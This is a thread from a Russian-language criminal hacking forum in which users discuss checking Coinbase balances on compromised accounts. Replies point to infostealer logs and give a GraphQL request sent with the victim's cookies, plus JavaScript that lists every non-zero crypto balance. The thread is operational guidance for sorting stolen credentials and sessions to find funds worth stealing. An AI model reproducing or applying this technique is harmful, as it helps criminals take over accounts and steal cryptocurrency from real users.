• XSS.stack #1 – первый литературный журнал от юзеров форума

Coinbase

i0pht

(L2) cache
Пользователь
Регистрация
29.04.2020
Сообщения
438
Реакции
149
Как проверить баланс coinbase?
(1) В веб-аккаунте - Если у вас есть логин email+пароль (И у вас нет доступа к подключенной почте?)
(2) Если у вас есть расширение Chrome/FF/MS Edge?
Я буду признателен за все комментарии и предложения

En:
coinbase
How to check coinbase balance?
(1) In Web based account - If you have login email+Password (And don't have attached mail access?)
(2) If you have Chrome/FF/MS Edge extension based data?
I will appreciate all comments and suggestions
 
если есть расширение и в общем все данные со стиллера, то через .log файл пробить cachedbalance, потом через ексчейнджеры посмотреть какой баланс, если есть мейл пасс но нет почты то никак(
 
(2) Если у вас есть расширение Chrome/FF/MS Edge?
get запрос сюда
https://www.coinbase.com/graphql/query?&operationName=usePaginatedAccountsQuery&extensions={"persistedQuery":{"version":1,"sha256Hash":"1f520965e0a978527968b0ac3e25a31552e6997656cb685dece9b6890d78a18d"}}&variables={"skip":false,"count":100,"nativeCurrency":"USD"}

в хедере запроса
'content-type': 'application/json'

все запросы отправлять с куками пользователя, тоесть
JavaScript:
xhrFields: {
    withCredentials: true
},
(если юзаешь ajax)

в ответ получаешь json, из него парсишь data.viewer.accountsV2.edges
далее циклом парсишь всю крипту\токены
JavaScript:
response.data.viewer.accountsV2.edges.forEach(element => {

                    let node = element.node;

                    let currencyValue =  parseInt(node.availableBalanceInNativeCurrency.value);
                    let currencyName = node.availableBalanceInNativeCurrency.currency;
                    if(currencyValue > 0){ // если баланс > 0
                     console.log(currencyName + ' ' + currencyName);  // вывод баланса
                    }
                });
 
get запрос сюда
https://www.coinbase.com/graphql/query?&operationName=usePaginatedAccountsQuery&extensions={"persistedQuery":{"version":1,"sha256Hash":"1f520965e0a978527968b0ac3e25a31552e6997656cb685dece9b6890d78a18d"}}&variables={"skip":false,"count":100,"nativeCurrency":"USD"}

в хедере запроса
'content-type': 'application/json'

все запросы отправлять с куками пользователя, тоесть
JavaScript:
xhrFields: {
    withCredentials: true
},
(если юзаешь ajax)

в ответ получаешь json, из него парсишь data.viewer.accountsV2.edges
далее циклом парсишь всю крипту\токены
JavaScript:
response.data.viewer.accountsV2.edges.forEach(element => {

                    let node = element.node;

                    let currencyValue =  parseInt(node.availableBalanceInNativeCurrency.value);
                    let currencyName = node.availableBalanceInNativeCurrency.currency;
                    if(currencyValue > 0){ // если баланс > 0
                     console.log(currencyName + ' ' + currencyName);  // вывод баланса
                    }
                });
Большое спасибо
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх